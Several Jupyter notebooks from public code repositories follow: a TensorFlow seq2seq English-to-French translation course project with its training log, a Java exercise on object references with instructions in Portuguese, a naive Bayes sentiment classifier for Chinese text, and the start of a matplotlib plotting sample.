tf.contrib.seq2seq.dynamic_rnn_decoder(\n", " cell=dec_cell, decoder_fn=dynamic_fn_train, inputs=dec_embed_input,\n", " sequence_length=sequence_length, scope=decoding_scope\n", " )\n", " # Apply output function\n", " train_logits = output_fn(outputs_train)\n", " return train_logits\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_decoding_layer_train(decoding_layer_train)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Decoding - Inference\n", "Create inference logits using [`tf.contrib.seq2seq.simple_decoder_fn_inference()`](https://www.tensorflow.org/versions/r1.0/api_docs/python/tf/contrib/seq2seq/simple_decoder_fn_inference) and [`tf.contrib.seq2seq.dynamic_rnn_decoder()`](https://www.tensorflow.org/versions/r1.0/api_docs/python/tf/contrib/seq2seq/dynamic_rnn_decoder). " ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def decoding_layer_infer(encoder_state, dec_cell, dec_embeddings, start_of_sequence_id, end_of_sequence_id,\n", " maximum_length, vocab_size, decoding_scope, output_fn, keep_prob):\n", " \"\"\"\n", " Create a decoding layer for inference\n", " :param encoder_state: Encoder state\n", " :param dec_cell: Decoder RNN Cell\n", " :param dec_embeddings: Decoder embeddings\n", " :param start_of_sequence_id: GO ID\n", " :param end_of_sequence_id: EOS Id\n", " :param maximum_length: The maximum allowed time steps to decode\n", " :param vocab_size: Size of vocabulary\n", " :param decoding_scope: TensorFlow Variable Scope for decoding\n", " :param output_fn: Function to apply the output layer\n", " :param keep_prob: Dropout keep probability\n", " :return: Inference Logits\n", " \"\"\"\n", " # TODO: Implement Function\n", " dynamic_decoder_fn_inf = tf.contrib.seq2seq.simple_decoder_fn_inference(\n", " output_fn, encoder_state, dec_embeddings, start_of_sequence_id,\n", " end_of_sequence_id, maximum_length - 1, vocab_size)\n", " inference_logits, _, _ = tf.contrib.seq2seq.dynamic_rnn_decoder(dec_cell, dynamic_decoder_fn_inf, scope=decoding_scope)\n", " return inference_logits\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_decoding_layer_infer(decoding_layer_infer)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Build the Decoding Layer\n", "Implement `decoding_layer()` to create a Decoder RNN layer.\n", "\n", "- Create RNN cell for decoding using `rnn_size` and `num_layers`.\n", "- Create the output fuction using [`lambda`](https://docs.python.org/3/tutorial/controlflow.html#lambda-expressions) to transform it's input, logits, to class logits.\n", "- Use the your `decoding_layer_train(encoder_state, dec_cell, dec_embed_input, sequence_length, decoding_scope, output_fn, keep_prob)` function to get the training logits.\n", "- Use your `decoding_layer_infer(encoder_state, dec_cell, dec_embeddings, start_of_sequence_id, end_of_sequence_id, maximum_length, vocab_size, decoding_scope, output_fn, keep_prob)` function to get the inference logits.\n", "\n", "Note: You'll need to use [tf.variable_scope](https://www.tensorflow.org/api_docs/python/tf/variable_scope) to share variables between training and inference." ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def decoding_layer(dec_embed_input, dec_embeddings, encoder_state, vocab_size, sequence_length, rnn_size,\n", " num_layers, target_vocab_to_int, keep_prob):\n", " \"\"\"\n", " Create decoding layer\n", " :param dec_embed_input: Decoder embedded input\n", " :param dec_embeddings: Decoder embeddings\n", " :param encoder_state: The encoded state\n", " :param vocab_size: Size of vocabulary\n", " :param sequence_length: Sequence Length\n", " :param rnn_size: RNN Size\n", " :param num_layers: Number of layers\n", " :param target_vocab_to_int: Dictionary to go from the target words to an id\n", " :param keep_prob: Dropout keep probability\n", " :return: Tuple of (Training Logits, Inference Logits)\n", " \"\"\"\n", " # TODO: Implement Function\n", " # dec cell\n", " dec_cell = tf.contrib.rnn.MultiRNNCell([tf.contrib.rnn.BasicLSTMCell(rnn_size) for _ in range(num_layers)])\n", " with tf.variable_scope(\"decoding\") as decoding_scope:\n", " # output layer, None for linear act. fn\n", " output_fn = lambda x: tf.contrib.layers.fully_connected(x, vocab_size, None, scope=decoding_scope)\n", " train_logits = decoding_layer_train(encoder_state, dec_cell, dec_embed_input, sequence_length, decoding_scope,\n", " output_fn, keep_prob)\n", " with tf.variable_scope(\"decoding\", reuse=True) as decoding_scope:\n", " inf_logits = decoding_layer_infer(encoder_state, dec_cell, dec_embeddings, target_vocab_to_int['<GO>'], \n", " target_vocab_to_int['<EOS>'], sequence_length,\n", " vocab_size, decoding_scope, output_fn, keep_prob)\n", " return train_logits, inf_logits\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_decoding_layer(decoding_layer)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Build the Neural Network\n", "Apply the functions you implemented above to:\n", "\n", "- Apply embedding to the input data for the encoder.\n", "- Encode the input using your `encoding_layer(rnn_inputs, rnn_size, num_layers, keep_prob)`.\n", "- Process target data using your `process_decoding_input(target_data, target_vocab_to_int, batch_size)` function.\n", "- Apply embedding to the target data for the decoder.\n", "- Decode the encoded input using your `decoding_layer(dec_embed_input, dec_embeddings, encoder_state, vocab_size, sequence_length, rnn_size, num_layers, target_vocab_to_int, keep_prob)`." ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def seq2seq_model(input_data, target_data, keep_prob, batch_size, sequence_length, source_vocab_size, target_vocab_size,\n", " enc_embedding_size, dec_embedding_size, rnn_size, num_layers, target_vocab_to_int):\n", " \"\"\"\n", " Build the Sequence-to-Sequence part of the neural network\n", " :param input_data: Input placeholder\n", " :param target_data: Target placeholder\n", " :param keep_prob: Dropout keep probability placeholder\n", " :param batch_size: Batch Size\n", " :param sequence_length: Sequence Length\n", " :param source_vocab_size: Source vocabulary size\n", " :param target_vocab_size: Target vocabulary size\n", " :param enc_embedding_size: Decoder embedding size\n", " :param dec_embedding_size: Encoder embedding size\n", " :param rnn_size: RNN Size\n", " :param num_layers: Number of layers\n", " :param target_vocab_to_int: Dictionary to go from the target words to an id\n", " :return: Tuple of (Training Logits, Inference Logits)\n", " \"\"\"\n", " # TODO: Implement Function\n", " enc_embed_input = tf.contrib.layers.embed_sequence(input_data, source_vocab_size, enc_embedding_size)\n", " enc_state = encoding_layer(enc_embed_input, rnn_size, num_layers, keep_prob)\n", " dec_input = process_decoding_input(target_data, target_vocab_to_int, batch_size)\n", " dec_embeddings = tf.Variable(tf.random_uniform([target_vocab_size, dec_embedding_size]))\n", " dec_embed_input = tf.nn.embedding_lookup(dec_embeddings, dec_input)\n", " train_logits, inf_logits = decoding_layer(dec_embed_input, dec_embeddings, enc_state, target_vocab_size,\n", " sequence_length, rnn_size, num_layers, target_vocab_to_int, keep_prob)\n", " return train_logits, inf_logits\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_seq2seq_model(seq2seq_model)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Neural Network Training\n", "### Hyperparameters\n", "Tune the following parameters:\n", "\n", "- Set `epochs` to the number of epochs.\n", "- Set `batch_size` to the batch size.\n", "- Set `rnn_size` to the size of the RNNs.\n", "- Set `num_layers` to the number of layers.\n", "- Set `encoding_embedding_size` to the size of the embedding for the encoder.\n", "- Set `decoding_embedding_size` to the size of the embedding for the decoder.\n", "- Set `learning_rate` to the learning rate.\n", "- Set `keep_probability` to the Dropout keep probability" ] }, { "cell_type": "code", "execution_count": 33, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Number of Epochs\n", "epochs = 10\n", "# Batch Size\n", "batch_size = 256\n", "# RNN Size\n", "rnn_size = 256\n", "# Number of Layers\n", "num_layers = 2\n", "# Embedding Size\n", "encoding_embedding_size = 100\n", "decoding_embedding_size = 100\n", "# Learning Rate\n", "learning_rate = 0.002\n", "# Dropout Keep Probability\n", "keep_probability = 0.7" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Build the Graph\n", "Build the graph using the neural network you implemented." ] }, { "cell_type": "code", "execution_count": 34, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "save_path = 'checkpoints/dev'\n", "(source_int_text, target_int_text), (source_vocab_to_int, target_vocab_to_int), _ = helper.load_preprocess()\n", "max_source_sentence_length = max([len(sentence) for sentence in source_int_text])\n", "\n", "train_graph = tf.Graph()\n", "with train_graph.as_default():\n", " input_data, targets, lr, keep_prob = model_inputs()\n", " sequence_length = tf.placeholder_with_default(max_source_sentence_length, None, name='sequence_length')\n", " input_shape = tf.shape(input_data)\n", " \n", " train_logits, inference_logits = seq2seq_model(\n", " tf.reverse(input_data, [-1]), targets, keep_prob, batch_size, sequence_length, len(source_vocab_to_int), len(target_vocab_to_int),\n", " encoding_embedding_size, decoding_embedding_size, rnn_size, num_layers, target_vocab_to_int)\n", "\n", " tf.identity(inference_logits, 'logits')\n", " with tf.name_scope(\"optimization\"):\n", " # Loss function\n", " cost = tf.contrib.seq2seq.sequence_loss(\n", " train_logits,\n", " targets,\n", " tf.ones([input_shape[0], sequence_length]))\n", "\n", " # Optimizer\n", " optimizer = tf.train.AdamOptimizer(lr)\n", "\n", " # Gradient Clipping\n", " gradients = optimizer.compute_gradients(cost)\n", " capped_gradients = [(tf.clip_by_value(grad, -1., 1.), var) for grad, var in gradients if grad is not None]\n", " train_op = optimizer.apply_gradients(capped_gradients)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Train\n", "Train the neural network on the preprocessed data. If you have a hard time getting a good loss, check the forums to see if anyone is having the same problem." ] }, { "cell_type": "code", "execution_count": 35, "metadata": { "scrolled": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Epoch 0 Batch 200/538 - Train Accuracy: 0.504, Validation Accuracy: 0.539, Loss: 0.913\n", "Epoch 0 Batch 400/538 - Train Accuracy: 0.621, Validation Accuracy: 0.634, Loss: 0.580\n", "Epoch 1 Batch 200/538 - Train Accuracy: 0.770, Validation Accuracy: 0.761, Loss: 0.281\n", "Epoch 1 Batch 400/538 - Train Accuracy: 0.857, Validation Accuracy: 0.849, Loss: 0.159\n", "Epoch 2 Batch 200/538 - Train Accuracy: 0.916, Validation Accuracy: 0.905, Loss: 0.059\n", "Epoch 2 Batch 400/538 - Train Accuracy: 0.933, Validation Accuracy: 0.914, Loss: 0.054\n", "Epoch 3 Batch 200/538 - Train Accuracy: 0.952, Validation Accuracy: 0.926, Loss: 0.032\n", "Epoch 3 Batch 400/538 - Train Accuracy: 0.959, Validation Accuracy: 0.954, Loss: 0.035\n", "Epoch 4 Batch 200/538 - Train Accuracy: 0.958, Validation Accuracy: 0.946, Loss: 0.024\n", "Epoch 4 Batch 400/538 - Train Accuracy: 0.954, Validation Accuracy: 0.949, Loss: 0.031\n", "Epoch 5 Batch 200/538 - Train Accuracy: 0.969, Validation Accuracy: 0.953, Loss: 0.016\n", "Epoch 5 Batch 400/538 - Train Accuracy: 0.965, Validation Accuracy: 0.959, Loss: 0.020\n", "Epoch 6 Batch 200/538 - Train Accuracy: 0.967, Validation Accuracy: 0.952, Loss: 0.017\n", "Epoch 6 Batch 400/538 - Train Accuracy: 0.973, Validation Accuracy: 0.963, Loss: 0.019\n", "Epoch 7 Batch 200/538 - Train Accuracy: 0.971, Validation Accuracy: 0.955, Loss: 0.013\n", "Epoch 7 Batch 400/538 - Train Accuracy: 0.971, Validation Accuracy: 0.961, Loss: 0.015\n", "Epoch 8 Batch 200/538 - Train Accuracy: 0.969, Validation Accuracy: 0.958, Loss: 0.011\n", "Epoch 8 Batch 400/538 - Train Accuracy: 0.977, Validation Accuracy: 0.961, Loss: 0.013\n", "Epoch 9 Batch 200/538 - Train Accuracy: 0.973, Validation Accuracy: 0.959, Loss: 0.009\n", "Epoch 9 Batch 400/538 - Train Accuracy: 0.977, Validation Accuracy: 0.969, Loss: 0.012\n", "Model Trained and Saved\n" ] } ], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import time\n", "\n", "def get_accuracy(target, logits):\n", " \"\"\"\n", " Calculate accuracy\n", " \"\"\"\n", " max_seq = max(target.shape[1], logits.shape[1])\n", " if max_seq - target.shape[1]:\n", " target = np.pad(\n", " target,\n", " [(0,0),(0,max_seq - target.shape[1])],\n", " 'constant')\n", " if max_seq - logits.shape[1]:\n", " logits = np.pad(\n", " logits,\n", " [(0,0),(0,max_seq - logits.shape[1]), (0,0)],\n", " 'constant')\n", "\n", " return np.mean(np.equal(target, np.argmax(logits, 2)))\n", "\n", "train_source = source_int_text[batch_size:]\n", "train_target = target_int_text[batch_size:]\n", "\n", "valid_source = helper.pad_sentence_batch(source_int_text[:batch_size])\n", "valid_target = helper.pad_sentence_batch(target_int_text[:batch_size])\n", "\n", "with tf.Session(graph=train_graph) as sess:\n", " sess.run(tf.global_variables_initializer())\n", "\n", " for epoch_i in range(epochs):\n", " for batch_i, (source_batch, target_batch) in enumerate(\n", " helper.batch_data(train_source, train_target, batch_size)):\n", " start_time = time.time()\n", " \n", " _, loss = sess.run(\n", " [train_op, cost],\n", " {input_data: source_batch,\n", " targets: target_batch,\n", " lr: learning_rate,\n", " sequence_length: target_batch.shape[1],\n", " keep_prob: keep_probability})\n", " if batch_i % 200 == 0 and batch_i > 0:\n", " batch_train_logits = sess.run(\n", " inference_logits,\n", " {input_data: source_batch, keep_prob: 1.0})\n", " batch_valid_logits = sess.run(\n", " inference_logits,\n", " {input_data: valid_source, keep_prob: 1.0})\n", "\n", " train_acc = get_accuracy(target_batch, batch_train_logits)\n", " valid_acc = get_accuracy(np.array(valid_target), batch_valid_logits)\n", " end_time = time.time()\n", " print('Epoch {:>3} Batch {:>4}/{} - Train Accuracy: {:>6.3f}, Validation Accuracy: {:>6.3f}, Loss: {:>6.3f}'\n", " .format(epoch_i, batch_i, len(source_int_text) // batch_size, train_acc, valid_acc, loss))\n", "\n", " # Save Model\n", " saver = tf.train.Saver()\n", " saver.save(sess, save_path)\n", " print('Model Trained and Saved')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Save Parameters\n", "Save the `batch_size` and `save_path` parameters for inference." ] }, { "cell_type": "code", "execution_count": 36, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "# Save parameters for checkpoint\n", "helper.save_params(save_path)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Checkpoint" ] }, { "cell_type": "code", "execution_count": 37, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import tensorflow as tf\n", "import numpy as np\n", "import helper\n", "import problem_unittests as tests\n", "\n", "_, (source_vocab_to_int, target_vocab_to_int), (source_int_to_vocab, target_int_to_vocab) = helper.load_preprocess()\n", "load_path = helper.load_params()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Sentence to Sequence\n", "To feed a sentence into the model for translation, you first need to preprocess it. Implement the function `sentence_to_seq()` to preprocess new sentences.\n", "\n", "- Convert the sentence to lowercase\n", "- Convert words into ids using `vocab_to_int`\n", "- Convert words not in the vocabulary, to the `<UNK>` word id." ] }, { "cell_type": "code", "execution_count": 38, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def sentence_to_seq(sentence, vocab_to_int):\n", " \"\"\"\n", " Convert a sentence to a sequence of ids\n", " :param sentence: String\n", " :param vocab_to_int: Dictionary to go from the words to an id\n", " :return: List of word ids\n", " \"\"\"\n", " # TODO: Implement Function\n", " sent = sentence.lower()\n", " unk_id = vocab_to_int['<UNK>']\n", " ids = [vocab_to_int.get(word, unk_id) for word in sent.split()]\n", " return ids\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_sentence_to_seq(sentence_to_seq)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Translate\n", "This will translate `translate_sentence` from English to French." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Google translation result:\n", "> il a vu un vieux camion jaune\n", "\n", "### My seq2seq model translation result:\n", "> il a vu un camion jaune\n", "\n", "rouge means red in English" ] }, { "cell_type": "code", "execution_count": 39, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Input\n", " Word Ids: [173, 79, 64, 94, 129, 167, 67]\n", " English Words: ['he', 'saw', 'a', 'old', 'yellow', 'truck', '.']\n", "\n", "Prediction\n", " Word Ids: [211, 19, 160, 277, 254, 225, 134, 1]\n", " French Words: ['il', 'a', 'vu', 'un', 'camion', 'jaune', '.', '<EOS>']\n" ] } ], "source": [ "translate_sentence = 'he saw a old yellow truck .'\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "translate_sentence = sentence_to_seq(translate_sentence, source_vocab_to_int)\n", "\n", "loaded_graph = tf.Graph()\n", "with tf.Session(graph=loaded_graph) as sess:\n", " # Load saved model\n", " loader = tf.train.import_meta_graph(load_path + '.meta')\n", " loader.restore(sess, load_path)\n", "\n", " input_data = loaded_graph.get_tensor_by_name('input:0')\n", " logits = loaded_graph.get_tensor_by_name('logits:0')\n", " keep_prob = loaded_graph.get_tensor_by_name('keep_prob:0')\n", "\n", " translate_logits = sess.run(logits, {input_data: [translate_sentence], keep_prob: 1.0})[0]\n", "\n", "print('Input')\n", "print(' Word Ids: {}'.format([i for i in translate_sentence]))\n", "print(' English Words: {}'.format([source_int_to_vocab[i] for i in translate_sentence]))\n", "\n", "print('\\nPrediction')\n", "print(' Word Ids: {}'.format([i for i in np.argmax(translate_logits, 1)]))\n", "print(' French Words: {}'.format([target_int_to_vocab[i] for i in np.argmax(translate_logits, 1)]))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Imperfect Translation\n", "You might notice that some sentences translate better than others. Since the dataset you're using only has a vocabulary of 227 English words of the thousands that you use, you're only going to see good results using these words. Additionally, the translations in this data set were made by Google translate, so the translations themselves aren't particularly good. (We apologize to the French speakers out there!) Thankfully, for this project, you don't need a perfect translation. However, if you want to create a better translation model, you'll need better data.\n", "\n", "You can train on the [WMT10 French-English corpus](http://www.statmt.org/wmt10/training-giga-fren.tar). This dataset has more vocabulary and richer in topics discussed. However, this will take you days to train, so make sure you've a GPU and the neural network is performing well on dataset we provided. Just make sure you play with the WMT10 corpus after you've submitted this project.\n", "## Submitting This Project\n", "When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as \"dlnd_language_translation.ipynb\" and save it as a HTML file under \"File\" -> \"Download as\". Include the \"helper.py\" and \"problem_unittests.py\" files in your submission." ] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.3" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

santanche/java2learn

notebooks/pt/c02oo-java/s03relacionamento/s03-small-challenges/relacionamento3b-small-challenges.ipynb

1

2021

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Small Challenges\n", "\n", "Tente descobrir o resultado de cada um dos programas abaixo, depois o execute para ver se confere com o que você supôs." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "public class Value {\n", " public int number;\n", " \n", " public Value (int number) {\n", " this.number = number;\n", " }\n", "}" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "Value a = new Value(15),\n", " b = new Value(10),\n", " c,\n", " d,\n", " e,\n", " f = new Value(0);\n", "\n", "d = b;\n", "f.number = b.number;\n", "b = a;\n", "c = a;\n", "c.number = 8;\n", "e = b;\n", "\n", "System.out.println(\"=== Primeiro\");\n", "System.out.println(\"a: \" + a.number);\n", "System.out.println(\"b: \" + b.number);\n", "System.out.println(\"c: \" + c.number);\n", "System.out.println(\"d: \" + d.number);\n", "System.out.println(\"e: \" + e.number);\n", "System.out.println(\"f: \" + f.number);\n", "\n", "d.number = 35;\n", "\n", "System.out.println(\"=== Segundo\");\n", "System.out.println(\"a: \" + a.number);\n", "System.out.println(\"b: \" + b.number);\n", "System.out.println(\"c: \" + c.number);\n", "System.out.println(\"d: \" + d.number);\n", "System.out.println(\"e: \" + e.number);\n", "System.out.println(\"f: \" + f.number);" ] } ], "metadata": { "kernelspec": { "display_name": "Java", "language": "java", "name": "java" }, "language_info": { "codemirror_mode": "text/x-java", "file_extension": ".java", "mimetype": "", "name": "Java", "nbconverter_exporter": "", "version": "11.0.6" } }, "nbformat": 4, "nbformat_minor": 4 }

gpl-2.0

450586509/DLNLP

src/bayes_prediction.ipynb

1

3436

{ "cells": [ { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [], "source": [ "from os.path import join\n", "import jieba\n", "import pickle\n", "from sklearn.feature_extraction.text import CountVectorizer\n", "from sklearn.naive_bayes import MultinomialNB,BernoulliNB,GaussianNB\n", "import numpy as np\n", "def get_train_data(path=''):\n", " X=[]\n", " y=[]\n", " with open(join(path,'pos.txt'),'r') as fr:\n", " for line in fr.readlines():\n", " X.append(' '.join(jieba.cut(line,cut_all=False)))\n", " y.append(1)\n", " with open(join(path,'neg.txt'),'r') as fr:\n", " for line in fr.readlines():\n", " X.append(' '.join(jieba.cut(line,cut_all=False)))\n", " y.append(0)\n", " return X,y\n", "\n", "def bagOfWord(X):\n", " vectorizer = CountVectorizer(min_df=8, token_pattern=r\"(?u)\\b\\w+\\b\")\n", " X = vectorizer.fit_transform(X)\n", " with open('./model/vectorizer.pkl','wb') as fr:\n", " print('save text vectorizer to ./model/')\n", " pickle.dump(vectorizer,fr)\n", " return X\n", "\n", "def train_model(X=[],y=[],model=''):\n", " if model == 'GaussianNB':\n", " bayes = GaussianNB()\n", " elif model == 'Bernoulli':\n", " bayes = BernoulliNB()\n", " else:\n", " bayes = MultinomialNB()\n", " bayes.fit(X, y)\n", " print('saving bayes model to ./model')\n", " with open('./model/bayes.pkl','wb') as fr:\n", " pickle.dump(bayes,fr)\n", "\n", "def train(train_path='',):\n", " X,y = get_train_data(path=train_path)\n", " X = bagOfWord(X)\n", " train_model(X,y)\n", "def predict_sentence(s=''):\n", " with open('/home/bruce/model/vectorizer.pkl','rb') as f:\n", " vectorizer = pickle.load(f,encoding='latin1')\n", " with open('/home/bruce/model/bayes.pkl','rb') as f:\n", " bayes = pickle.load(f,encoding='latin1')\n", " s =[' '.join(jieba.cut(s, cut_all=False))]\n", " x = vectorizer.transform(s)\n", " predict = bayes.predict(x)\n", " print(predict)\n", " if predict ==1:\n", " print('positive')\n", " else:\n", " print('negtive')\n", "#train(train_path = 'G:\\\\code\\\\DLNLP\\\\src\\\\data')\n" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[0]\n", "negtive\n" ] } ], "source": [ "predict_sentence('这个东西感觉太贵了，我很不满意')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python [Root]", "language": "python", "name": "Python [Root]" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

iktakahiro/ipython-notebook-sample

pymook/sample1.ipynb

1

9955

{ "metadata": { "name": "", "signature": "sha256:82cd4e857d2d1338592cdd23dc97915cb367ae4f6371c3e60516fb2c0a4e3b7f" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "%matplotlib inline" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 2 }, { "cell_type": "code", "collapsed": false, "input": [ "from matplotlib import pyplot\n", "\n", "pyplot.style.use('ggplot')\n", "\n", "\n", "x = [0, 1, 2, 3, 4]\n", "y = [0, 2, 4, 6, 8]\n", "\n", "pyplot.plot(x)\n", "pyplot.plot(y)\n", "pyplot.show()" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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\n1jccFVTi